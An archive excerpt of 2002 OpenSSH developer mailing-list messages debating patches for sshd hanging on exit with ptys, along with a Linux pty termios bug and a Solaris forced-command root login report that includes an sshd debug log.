On 6 Aug 2002, Eric Garff wrote:

> This isn't an actual reply to any one person, but here is my experience:
> 
> I have tested both the patches by Jani Jaakkol and Frank Cusack (Frank's
> I tried both the pty and non-pty changes).  I still get the hang, here
> is my setup.
> 
> This is entered as a cronjob on one server to run every 15 minutes:

Our patches only apply to sessions with ptys. Ssh sessions from 
cron-jobs normally do not have ptys and they do not need them. Also, I do 
not intend to provide hang-on-exit patch for the non pty case; in the non 
pty case the hang is what I expect and is IMO the correct thing to happen.

I suspect, that your cronjob just leaves something hanging in the 
background. You should fix the script.

I am an system administrator myself and I do run cron jobs which use ssh. 
They work just fine.

- Jani



From Nicolas.Williams at ubsw.com  Thu Aug  8 06:12:41 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Wed, 7 Aug 2002 16:12:41 -0400
Subject: so-called-hang-on-exit
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1085@NSTMC004PEX1.ubsgs.ubsgroup.net>

Jani,

Sshd normally doesn't use timeouts in the select() loop. That you're
putting a timeout into the select() call "so that the select() call
could not hang forever" indicates you fail to understand what's going
on and are actually implementing a timeout heuristic. That may be a
fine thing to do, but that is what you're doing.

Specifically, in a plain one-channel pty ssh connection to an sshd
on Solaris/Linux, after the session leader exits, if it leaves
background process groups still running, but not interacting with
the pty, then the sshd will sit there in select() waiting for:

 - client requests (as in new channel requests, channel close
   messages, or channel data, say)
 - those background process groups to write something to the pty

The user considers the session to be finished and does *nothing* or
does ~.. If he does nothing then neither does the sshd do anything.

That's what you interpret as "hanging". You want a heuristic which
"flushes" the pty and closes it as if it had produced EOF as it would
on OpenBSD. Perhaps one way to do that would be to read() in a loop
from the master pty until it returns EWOULDBLOCK, then close it and
get the process started by which the channel is then closed. Or you
can use a timeout, that is, keep select()ing on the pty master fildes
for some time then close it. The fact that you're putting a timeout
into the select() indicates that you're doing the latter.

Once the pty master fildes is closed the select loop will only select
on the SSH socket. By this time the client will know that the channel
is closed, and it (the client) will then proceed to tear down the SSH
connection (which is what you want and which will get sshd out of its
select loop and thus get sshd to exit) because that is what ssh clients
typically do when the last open channel is closed (that is what the
OpenSSH client does, though clients are not obligated to do this - they
can just reuse the SSH[v2] connection and open new channels).

Cheers,

Nico
-- 

> -----Original Message-----
> From: Jani Jaakkola [mailto:jjaakkol at cs.Helsinki.FI]
> Sent: Wednesday, August 07, 2002 3:53 PM
> To: Williams, Nicolas
> Cc: fcusack at fcusack.com; openssh-unix-dev at mindrot.org
> Subject: RE: so-called-hang-on-exit
> 
> 
> On Tue, 6 Aug 2002 Nicolas.Williams at ubsw.com wrote:
> 
> > 
> > Why are putting a timeout into the sshd's select() when flushing
> > the PTY?
> > 
> > I'll admit I've neither tried the patch nor really read it. But if
> > you'll rely on timeouts on one side, why not on the other.
> 
> We did not rely on timeouts. The timeouts we're only made so that the 
> select() call could not hang forever.
> 
> I really did want 0 second timeouts, but the way timeout handling was 
> implemented in serverloop.c prevented that (with a minimal 
> patch at least. 
> Personally I would have liked to clean up the timeout 
> handling; Eventually 
> I will have to, since I will port my older IdleTimeout to 
> newer openssh).
> 
> - Jani
> 
> 
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From jjaakkol at cs.Helsinki.FI  Thu Aug  8 06:17:33 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Wed, 7 Aug 2002 23:17:33 +0300 (EEST)
Subject: so-called-hang-on-exit
In-Reply-To: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC0D@NSTMC004PEX1.ubsgs.ubsgroup.net>
Message-ID: <Pine.LNX.4.44.0208072308530.1997-100000@loussa.kamppa>

On Wed, 7 Aug 2002 Nicolas.Williams at ubsw.com wrote:

> 
> A test program *could* be written. The test should try several
> conditions to determine what the kernel/pty driver behaviour is:
> 
>  - does the pty close immediately when the session leader exits?
>  - does the pty close immediately when the session leader is gone *and*
>    the pty's foreground process group is orphaned (or empty?)?
>  - does the pty driver send SIGHUP to all processes associated with the
>    PTY when the session leader exits?

Why? I just want to patch sshd so that it does not matter what the exact 
underlying pty semantics are.

> Having the answers to these questions for each of the major platforms we
> can then think about how to emulate *BSD behaviour on Linux and Solaris
> (assuming that it's even desired). But then, we all pretty much suspect
> what the behaviour is (see previous posts in this thread).

Indeed. I would say that we know the problem. And we have presented 
the fix.

> The notion of "flushing the pty" may not be so simple because the
> boundary between data last written by the session leader and data
> written by background processes may be indistiguishable (would that
> even be a problem?)

In Linux the boundary is indistinguishable and that is not a problem.
How could it be problem?

AFAIK, OpenBSD kernel already decides that it is not a problem. Otherwise 
it could not possibly close the pty from under the background processes.

 - how does one "flush the pty" from the master
> side anyways? (by reading until read() returns EWOULDBLOCK? or is there
> some special ioctl() for emptying buffered data on the slave write side
> to the master read side?)

By read() or select(), as the patches provided demonstrate. I don't see 
any need for any ioctl().

> And one more avenue that must be considered: why not just document the
> platform differences and leave it at that? Some will be inconvenienced,
> but the OpenSSH folks could just say "hey, take it to your OS vendor", say.

Linux kernel behaviour gives the user space the option to choose, whether
(1) to throw away the output from background processes, or to (2) wait 
until all background processes are finished. 

AFAIK, OpenBSD does not provide option (2) at all. 

I could patch Linux kernel instead, but then the kernel would be worse, 
not better.

- Jani



From jjaakkol at cs.Helsinki.FI  Thu Aug  8 06:25:31 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Wed, 7 Aug 2002 23:25:31 +0300 (EEST)
Subject: so-called-hang-on-exit
In-Reply-To: <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1085@NSTMC004PEX1.ubsgs.ubsgroup.net>
Message-ID: <Pine.LNX.4.44.0208072319010.1997-100000@loussa.kamppa>

On Wed, 7 Aug 2002 Nicolas.Williams at ubsw.com wrote:

> 
> Jani,
> 
> Sshd normally doesn't use timeouts in the select() loop. That you're
> putting a timeout into the select() call "so that the select() call
> could not hang forever" indicates you fail to understand what's going
> on and are actually implementing a timeout heuristic. That may be a
> fine thing to do, but that is what you're doing.

I did not implement any such thing. Read the patch.

My second patch has no timeouts at all, but it provides almost exactly the 
same behaviour as the first.

 
> Specifically, in a plain one-channel pty ssh connection to an sshd
> on Solaris/Linux, after the session leader exits, if it leaves
> background process groups still running, but not interacting with
> the pty, then the sshd will sit there in select() waiting for:
> 
>  - client requests (as in new channel requests, channel close
>    messages, or channel data, say)
>  - those background process groups to write something to the pty
> 
> The user considers the session to be finished and does *nothing* or
> does ~.. If he does nothing then neither does the sshd do anything.
> 
> That's what you interpret as "hanging". You want a heuristic which
> "flushes" the pty and closes it as if it had produced EOF as it would
> on OpenBSD. Perhaps one way to do that would be to read() in a loop
> from the master pty until it returns EWOULDBLOCK, then close it and
> get the process started by which the channel is then closed.

That was exactly what I did.

> Or you
> can use a timeout, that is, keep select()ing on the pty master fildes
> for some time then close it. The fact that you're putting a timeout
> into the select() indicates that you're doing the latter.

You did not read the patch. I was doing the former.

As I already said, the fact that the in the first patch was something else 
that 0ms was because I had to work around some historical code in the 
openssh select loop, which was not written by me. I would be happy to fix 
it though, and probably will provide a patch for it (IdleTimeout will need 
it).

> Once the pty master fildes is closed the select loop will only select
> on the SSH socket. By this time the client will know that the channel
> is closed, and it (the client) will then proceed to tear down the SSH
> connection (which is what you want and which will get sshd out of its
> select loop and thus get sshd to exit) because that is what ssh clients
> typically do when the last open channel is closed (that is what the
> OpenSSH client does, though clients are not obligated to do this - they
> can just reuse the SSH[v2] connection and open new channels).

I agree with all this.

- Jani




From Nicolas.Williams at ubsw.com  Thu Aug  8 07:07:11 2002
From: Nicolas.Williams at ubsw.com (Nicolas.Williams at ubsw.com)
Date: Wed, 7 Aug 2002 17:07:11 -0400
Subject: so-called-hang-on-exit
Message-ID: <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1086@NSTMC004PEX1.ubsgs.ubsgroup.net>

Perfect. Good patch then. Indeed, I had not read the patch.

Question: what happens to the background process groups? what
should happen to them?

By closing the pty master you cause them to get errors when
they next try to interact with the pty slave. Shouldn't they
get SIGHUP? Sshd cannot figure out what the process groups
are, so it can't send them SIGHUP; but an external script
could use the proc tools/ps/lsof to find all those orphaned
process groups and HUP them.

Traditionally you need nohup(1) to start background jobs which
should survive sessions...

Cheers,

Nico
-- 

> -----Original Message-----
> From: Jani Jaakkola [mailto:jjaakkol at cs.Helsinki.FI]
> Sent: Wednesday, August 07, 2002 4:26 PM
> To: Williams, Nicolas
> Cc: fcusack at fcusack.com; openssh-unix-dev at mindrot.org
> Subject: RE: so-called-hang-on-exit
> 

[...] 

> I did not implement any such thing. Read the patch.
> 
> My second patch has no timeouts at all, but it provides 
> almost exactly the 
> same behaviour as the first.

[...] 

> That was exactly what I did.

[...]

> You did not read the patch. I was doing the former.
> 
> As I already said, the fact that the in the first patch was 
> something else 
> that 0ms was because I had to work around some historical code in the 
> openssh select loop, which was not written by me. I would be 
> happy to fix 
> it though, and probably will provide a patch for it 
> (IdleTimeout will need 
> it).

[...]

> I agree with all this.
> 
> - Jani
> 
> 
> 

Visit our website at http://www.ubswarburg.com

This message contains confidential information and is intended only 
for the individual named.  If you are not the named addressee you 
should not disseminate, distribute or copy this e-mail.  Please 
notify the sender immediately by e-mail if you have received this 
e-mail by mistake and delete this e-mail from your system.

E-mail transmission cannot be guaranteed to be secure or error-free 
as information could be intercepted, corrupted, lost, destroyed, 
arrive late or incomplete, or contain viruses.  The sender therefore 
does not accept liability for any errors or omissions in the contents 
of this message which arise as a result of e-mail transmission.  If 
verification is required please request a hard-copy version.  This 
message is provided for informational purposes and should not be 
construed as a solicitation or offer to buy or sell any securities or 
related financial instruments.



From egarff at omniture.com  Thu Aug  8 08:34:14 2002
From: egarff at omniture.com (Eric Garff)
Date: 07 Aug 2002 16:34:14 -0600
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.44.0208072302580.1997-100000@loussa.kamppa>
References: <Pine.LNX.4.44.0208072302580.1997-100000@loussa.kamppa>
Message-ID: <1028759654.28558.56.camel@egarff.superstats.com>

This may be a simple question:  Why does this not happen when using
Protocol 1?

On Wed, 2002-08-07 at 14:07, Jani Jaakkola wrote:
> On 6 Aug 2002, Eric Garff wrote:
> 
> > This isn't an actual reply to any one person, but here is my experience:
> > 
> > I have tested both the patches by Jani Jaakkol and Frank Cusack (Frank's
> > I tried both the pty and non-pty changes).  I still get the hang, here
> > is my setup.
> > 
> > This is entered as a cronjob on one server to run every 15 minutes:
> 
> Our patches only apply to sessions with ptys. Ssh sessions from 
> cron-jobs normally do not have ptys and they do not need them. Also, I do 
> not intend to provide hang-on-exit patch for the non pty case; in the non 
> pty case the hang is what I expect and is IMO the correct thing to happen.
> 
> I suspect, that your cronjob just leaves something hanging in the 
> background. You should fix the script.
> 
> I am an system administrator myself and I do run cron jobs which use ssh. 
> They work just fine.
> 
> - Jani
-- 
Eric Garff
System Administrator
egarff at omniture.com
801.722.0134

Omniture
http://www.omniture.com
"Unique Questions, Precise Answers"


From kevin at atomicgears.com  Thu Aug  8 08:46:49 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Wed, 7 Aug 2002 15:46:49 -0700
Subject: [Bug 282] ttymodes sent can be invalid
In-Reply-To: <20020622064835.21947E8EA@shitei.mindrot.org>
References: <20020622064835.21947E8EA@shitei.mindrot.org>
Message-ID: <20020807224649.GD2860@scott.crlsca.adelphia.net>

who can dig into this issue?  can someone raise it on linux-kernel (or
whatever makes sense)?

On Sat, Jun 22, 2002 at 04:48:35PM +1000, bugzilla-daemon at mindrot.org wrote:
> http://bugzilla.mindrot.org/show_bug.cgi?id=282
> 
> 
> 
> 
> 
> ------- Additional Comments From stuge-openssh-bugzilla at cdy.org  2002-06-22 16:48 -------
> /usr/src/linux/drivers/char/pty.c:345 reads
> 
> static void pty_set_termios(struct tty_struct *tty, struct termios *old_termios)
> {
>         tty->termios->c_cflag &= ~(CSIZE | PARENB);
>         tty->termios->c_cflag |= (CS8 | CREAD);
> }
> 
> This gets called when someone does tcsetattr() on a pty.  I think I can see a
> reason for clearing CSIZE and setting CS8|CREAD, but why clear PARENB?
> 
> And in the glibc code quoted by Kevin this behaviour is referred to as if it
> should return some error contrary to the current 'silently ignore' approach..
> 
> What do kernel gurus on/from LKML say?
> 
> 
> 
> 
> ------- You are receiving this mail because: -------
> You are the assignee for the bug, or are watching the assignee.
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev


From fcusack at fcusack.com  Thu Aug  8 09:54:49 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Wed, 7 Aug 2002 16:54:49 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <20020807145250.A25367@zax.half.pint-stowp.cx>; from jmknoble@pobox.com on Wed, Aug 07, 2002 at 02:52:50PM -0400
References: <Pine.BSO.4.44.0208062132160.7710-100000@etoh.eviladmin.org> <Pine.LNX.4.44.0208071038220.3010-100000@goofy-3.cs.Helsinki.FI> <20020807015446.E11563@google.com> <20020807145250.A25367@zax.half.pint-stowp.cx>
Message-ID: <20020807165449.A12330@google.com>

On Wed, Aug 07, 2002 at 02:52:50PM -0400, Jim Knoble wrote:
> Circa 2002-08-07 01:54:46 -0700 dixit Frank Cusack:
> 
> : Hence my earlier question, what does 'ssh -t 0 "yes & exit"' do on OpenBSD?
> 
> Here's what happens here:
> 
>   $ uname -srvm
>   OpenBSD 3.1 GENERIC#1 i386
>   $ ssh -t localhost 'yes & exit'
>   $ ssh -t localhost 'yes & sleep 1; exit'
>   y
>   y
>   y
>   [etc., for 1 second]
>   $ 

Great, so OpenBSD ** guarantees ** data loss in the pty case.  Ben, et al,
this should be a no-brainer: put in the patch, making data loss *optional*
on other OSes.  The patch I posted seems to be the simplest complete patch.

Or it may just be a shell difference.  (bash doesn't send hup, csh does)
Jim, can you do this with bash on OpenBSD and see if it goes "forever"?
Oh, I see it *is* a Bourne shell.  Is that some other Bourne-like sh or
is it actually bash?

/fc



From dan at doxpara.com  Thu Aug  8 11:09:56 2002
From: dan at doxpara.com (Dan Kaminsky)
Date: Wed, 07 Aug 2002 18:09:56 -0700
Subject: so-called-hang-on-exit
References: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EC01@NSTMC004PEX1.ubsgs.ubsgroup.net> <20020806160939.C11023@google.com>
Message-ID: <3D51C4E4.7010006@doxpara.com>

>
>
>Well, right.  Linux/Solaris/others don't close the pty when the session
>leader exits (I guess that's the problem).  That's why the option was
>called 'AllowDataLossOnPty' by Markus.  *IT ALLOWS DATA LOSS*.  You
>still have an open fd you can read from, yet you're going to force it
>closed.  If you want to be totally correct, you trust that the OS does
>the correct thing and you exit only when there is no more data to read.
>  
>
There are two problems:

1) A client goes away, but the server doesn't realize it
2) A server process finishes, but the client doesn't realize it

The former problem is trivial to solve.  Send SSH ignore packets, which 
MUST(in the IETF sense) elicit responses.  If n things that MUST happen 
fail to occur, then the other side is dead and all its resources can be 
dropped in the bucket -- and indeed should be.  SSH Keepalives may be 
overloaded to do this.

Conveniently enough, a dead socket and a disconnected client both fail 
to elicit responses.

Once those packets are gone, there *cannot* be any more data from the 
file descriptor, because the provider of the packets is quite dead.  If 
its dead, you don't trust it.  If you don't trust it, you cannot depend 
on resources authenticated by it.  Since the "open FD" was authenticated 
by a now untrusted agent(and we know its untrusted because its no longer 
responding to our secured segments), security demands it be closed.

Now, the latter problem may be more complicated.  For whatever reason, 
an application executing on the local command line may exit out just 
fine, while one executed using ssh user at host command doesn't exit out. 
 If I may ask, what is it that creates the exit condition locally that 
we aren't emulating remotely?

I'd like to not kill machines just by running netcat over a command forward.

Yours Truly,

    Dan Kaminsky
    DoxPara Research
    http://www.doxpara.com




From jmknoble at pobox.com  Thu Aug  8 11:06:11 2002
From: jmknoble at pobox.com (Jim Knoble)
Date: Wed, 7 Aug 2002 21:06:11 -0400
Subject: so-called-hang-on-exit
In-Reply-To: <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1086@NSTMC004PEX1.ubsgs.ubsgroup.net>; from Nicolas.Williams@ubsw.com on Wed, Aug 07, 2002 at 05:07:11PM -0400
References: <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1086@NSTMC004PEX1.ubsgs.ubsgroup.net>
Message-ID: <20020807210610.B25367@zax.half.pint-stowp.cx>

Circa 2002-08-07 17:07:11 -0400 dixit Nicolas.Williams at ubsw.com:

: Question: what happens to the background process groups? what
: should happen to them?
: 
: By closing the pty master you cause them to get errors when
: they next try to interact with the pty slave. Shouldn't they
: get SIGHUP? Sshd cannot figure out what the process groups
: are, so it can't send them SIGHUP; but an external script
: could use the proc tools/ps/lsof to find all those orphaned
: process groups and HUP them.

Shouldn't one just send HUP to the session leader?  Most shells pass
the HUP along to their children anyway.

-- 
jim knoble  |  jmknoble at pobox.com  |  http://www.pobox.com/~jmknoble/
(GnuPG fingerprint: 31C4:8AAC:F24E:A70C:4000::BBF4:289F:EAA8:1381:1491)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 262 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020807/ef0744ec/attachment.bin 

From rudeyak at yahoo.com  Thu Aug  8 11:23:14 2002
From: rudeyak at yahoo.com (Rude Yak)
Date: Wed, 7 Aug 2002 18:23:14 -0700 (PDT)
Subject: Bugzilla bug entry #342
Message-ID: <20020808012314.23232.qmail@web13304.mail.yahoo.com>

I may have found a similar issue with plain old RSAAuthentication.  After
upgrading to 3.4p1 on Solaris 8, I am no longer able to use RSAAuthentication
with 

PermitRootLogin forced-commands-only

Following is output from sshd -d -d:

Connection from 10.100.100.8 port 39955
debug1: Client protocol version 2.0; client software version OpenSSH_3.4p1
debug1: match: OpenSSH_3.4p1 pat OpenSSH*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.4p1
debug1: list_hostkey_types: ssh-dss,ssh-rsa
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-dss,ssh-rsa
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,ri
jndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,ri
jndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hma
c-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hma
c-md5-96
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit: none,zlib
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: kex_parse_kexinit:
diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
debug2: kex_parse_kexinit: ssh-rsa,ssh-dss
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,ri
jndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,ri
jndael-cbc at lysator.liu.se
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hma
c-md5-96
debug2: kex_parse_kexinit:
hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160 at openssh.com,hmac-sha1-96,hma
c-md5-96
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit: none
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit:
debug2: kex_parse_kexinit: first_kex_follows 0
debug2: kex_parse_kexinit: reserved 0
debug2: mac_init: found hmac-md5
debug1: kex: client->server aes128-cbc hmac-md5 none
debug2: mac_init: found hmac-md5
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug2: Network child is on pid 1881
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug2: monitor_read: 0 used once, disabling now
debug1: dh_gen_key: priv key bits set: 126/256
debug1: bits set: 1613/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1557/3191
debug1: bits set: 1557/3191
debug2: monitor_read: 4 used once, disabling now
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user root service ssh-connection method none
debug1: attempt 0 failures 0
debug2: monitor_read: 6 used once, disabling now
debug2: input_userauth_request: setting up authctxt for root
debug1: Starting up PAM with username "root"
debug1: PAM setting rhost to "remotehost.company.com"
debug2: monitor_read: 37 used once, disabling now
debug2: monitor_read: 3 used once, disabling now
debug2: input_userauth_request: try method none
Failed none for root from 10.100.100.8 port 39955 ssh2
Failed none for root from 10.100.100.8 port 39955 ssh2
debug1: userauth-request for user root service ssh-connection method publickey
debug1: attempt 1 failures 1
debug2: input_userauth_request: try method publickey
debug1: test whether pkalg/pkblob are acceptable
debug1: temporarily_use_uid: 0/1 (e=0)
debug1: trying public key file //.ssh/authorized_keys
debug1: trying public key file //.ssh/authorized_keys
debug2: key_type_from_name: unknown key type
'from="remotehost.company.com",command="/usr/local/sbin/rdi
std'
debug2: user_key_allowed: check options:
'from="remotehost.company.com",command="/usr/local/sbin/rdistd
-S",no-port-forwarding,no-pty 1024 35
118666268659798484966286942768944312049369367774475796933061557373
51846115552657285664113128114068567379297579754801391033082429223990779366682362906474664072077746004816
58915227196803274009991119196168112506060960169043410771581121113084522220661468549956396754587779105908
24978905786138489706832425528183011 root at remotehost
'
debug2: key_type_from_name: unknown key type '1024'
debug2: user_key_allowed: advance: '1024 35
118666268659798484966286942768944312049369367774475796933061
55737351846115552657285664113128114068567379297579754801391033082429223990779366682362906474664072077746
00481658915227196803274009991119196168112506060960169043410771581121113084522220661468549956396754587779
10590824978905786138489706832425528183011 root at remotehost
'
debug1: restore_uid
debug2: key not found
debug1: temporarily_use_uid: 0/1 (e=0)
debug1: trying public key file //.ssh/authorized_keys2
debug2: key_type_from_name: unknown key type
'from="remotehost.company.com",command="/usr/local/sbin/rdi
std'
debug2: user_key_allowed: check options:
'from="remotehost.company.com",command="/usr/local/sbin/rdistd
-S",no-port-forwarding,no-pty ssh-dss
AAAAB3NzaC1kc3MAAACBAIauk+vg54JiU36Q/8F2Jlyf7cUMMcrItmETEG/OtOuIIa
jU9FiN6Xa85o1OFMVm6f6dn7XfPC9tE5MGuM2dE6tqVpeRz7qWdbfPDNY/+pqYKzs72NmQSUFfvglogb7CRb/FqG33COB8m5pC9uN/ZT
dHVefy5CpfUZ8qBCjiXdwRAAAAFQDidPKGD0iX/QLo6KahXeFdPX47DwAAAIBwH60/h910+z7Nrcv22bSZI9xjRGeAHzsRtYtHL7VOrB
JPS8GEDsoQfgE1ICWhcx210RcZkBEcFcElZurHlQKDc3rCG3qLGSmirrafUButOygTuvlL57RRjLhjizHgo3Nwn2tXnZZIA177u5wN/X
VO2Zd39d8koYUdh4qwNlt7YgAAAIAV37lsNDP9caqiQYKw9TyCLPOYhmCaiEBxJ0rdCpxrPGVFLdindW9mrCoFkloNGyaykc14A2Ko6NoTvvLZw71XBqkpTHp8BAlVffsyhVTXAmAHuVLhEb7EaHbq4MQKmYqNXGK29mj28duWQpQJ72JD2OqyDDwZf2voyk1BOI3myA==
root@
remotehost
'
debug1: matching key found: file //.ssh/authorized_keys2, line 1
Found matching DSA key: f7:a2:2d:a0:c0:ee:4c:3f:1e:47:c3:3c:36:11:b8:e9
debug1: restore_uid
debug2: userauth_pubkey: authenticated 0 pkalg ssh-dss
Postponed publickey for root from 10.100.100.8 port 39955 ssh2
debug1: userauth-request for user root service ssh-connection method publickey
debug1: attempt 2 failures 1
debug2: input_userauth_request: try method publickey
debug1: temporarily_use_uid: 0/1 (e=0)
debug1: trying public key file //.ssh/authorized_keys
debug2: key_type_from_name: unknown key type
'from="remotehost.company.com",command="/usr/local/sbin/rdistd'
debug2: user_key_allowed: check options:
'from="remotehost.company.com",command="/usr/local/sbin/rdistd
-S",no-port-forwarding,no-pty 1024 35
118666268659798484966286942768944312049369367774475796933061557373
51846115552657285664113128114068567379297579754801391033082429223990779366682362906474664072077746004816
58915227196803274009991119196168112506060960169043410771581121113084522220661468549956396754587779105908
24978905786138489706832425528183011 root at remotehost
'
debug2: key_type_from_name: unknown key type '1024'
debug2: user_key_allowed: advance: '1024 35
118666268659798484966286942768944312049369367774475796933061
55737351846115552657285664113128114068567379297579754801391033082429223990779366682362906474664072077746
00481658915227196803274009991119196168112506060960169043410771581121113084522220661468549956396754587779
10590824978905786138489706832425528183011 root at remotehost
'
debug1: restore_uid
debug2: key not found
debug1: temporarily_use_uid: 0/1 (e=0)
debug1: trying public key file //.ssh/authorized_keys2
debug2: key_type_from_name: unknown key type
'from="remotehost.company.com",command="/usr/local/sbin/rdi
std'
debug2: user_key_allowed: check options:
'from="remotehost.company.com",command="/usr/local/sbin/rdistd
-S",no-port-forwarding,no-pty ssh-dss
AAAAB3NzaC1kc3MAAACBAIauk+vg54JiU36Q/8F2Jlyf7cUMMcrItmETEG/OtOuIIa
jU9FiN6Xa85o1OFMVm6f6dn7XfPC9tE5MGuM2dE6tqVpeRz7qWdbfPDNY/+pqYKzs72NmQSUFfvglogb7CRb/FqG33COB8m5pC9uN/ZT
dHVefy5CpfUZ8qBCjiXdwRAAAAFQDidPKGD0iX/QLo6KahXeFdPX47DwAAAIBwH60/h910+z7Nrcv22bSZI9xjRGeAHzsRtYtHL7VOrB
JPS8GEDsoQfgE1ICWhcx210RcZkBEcFcElZurHlQKDc3rCG3qLGSmirrafUButOygTuvlL57RRjLhjizHgo3Nwn2tXnZZIA177u5wN/X
VO2Zd39d8koYUdh4qwNlt7YgAAAIAV37lsNDP9caqiQYKw9TyCLPOYhmCaiEBxJ0rdCpxrPGVFLdindW9mrCoFkloNGyaykc14A2Ko6N
oTvvLZw71XBqkpTHp8BAlVffsyhVTXAmAHuVLhEb7EaHbq4MQKmYqNXGK29mj28duWQpQJ72JD2OqyDDwZf2voyk1BOI3myA==
root at remotehost
'
debug1: matching key found: file //.ssh/authorized_keys2, line 1
Found matching DSA key: f7:a2:2d:a0:c0:ee:4c:3f:1e:47:c3:3c:36:11:b8:e9
debug1: restore_uid
debug1: ssh_dss_verify: signature correct
Root login accepted for forced command.
debug2: pam_acct_mgmt() = 0
Accepted publickey for root from 10.100.100.8 port 39955 ssh2
debug1: monitor_child_preauth: root has been authenticated by privileged
process
debug2: userauth_pubkey: authenticated 1 pkalg ssh-dss
ROOT LOGIN REFUSED FROM 10.100.100.8
Failed publickey for root from 10.100.100.8 port 39955 ssh2



__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com


From fcusack at fcusack.com  Thu Aug  8 13:40:43 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Wed, 7 Aug 2002 20:40:43 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <20020807210610.B25367@zax.half.pint-stowp.cx>; from jmknoble@pobox.com on Wed, Aug 07, 2002 at 09:06:11PM -0400
References: <BF5F3FE870FB5C4B89BC1A1FBC76778C0A1086@NSTMC004PEX1.ubsgs.ubsgroup.net> <20020807210610.B25367@zax.half.pint-stowp.cx>
Message-ID: <20020807204043.B12586@google.com>

On Wed, Aug 07, 2002 at 09:06:11PM -0400, Jim Knoble wrote:
> Circa 2002-08-07 17:07:11 -0400 dixit Nicolas.Williams at ubsw.com:
> 
> : Question: what happens to the background process groups? what
> : should happen to them?
> : 
> : By closing the pty master you cause them to get errors when
> : they next try to interact with the pty slave. Shouldn't they
> : get SIGHUP? Sshd cannot figure out what the process groups
> : are, so it can't send them SIGHUP; but an external script
> : could use the proc tools/ps/lsof to find all those orphaned
> : process groups and HUP them.
> 
> Shouldn't one just send HUP to the session leader?  Most shells pass
> the HUP along to their children anyway.

The session leader has already exited.

/fc


From fcusack at fcusack.com  Thu Aug  8 13:47:54 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Wed, 7 Aug 2002 20:47:54 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <20020807165449.A12330@google.com>; from fcusack@fcusack.com on Wed, Aug 07, 2002 at 04:54:49PM -0700
References: <Pine.BSO.4.44.0208062132160.7710-100000@etoh.eviladmin.org> <Pine.LNX.4.44.0208071038220.3010-100000@goofy-3.cs.Helsinki.FI> <20020807015446.E11563@google.com> <20020807145250.A25367@zax.half.pint-stowp.cx> <20020807165449.A12330@google.com>
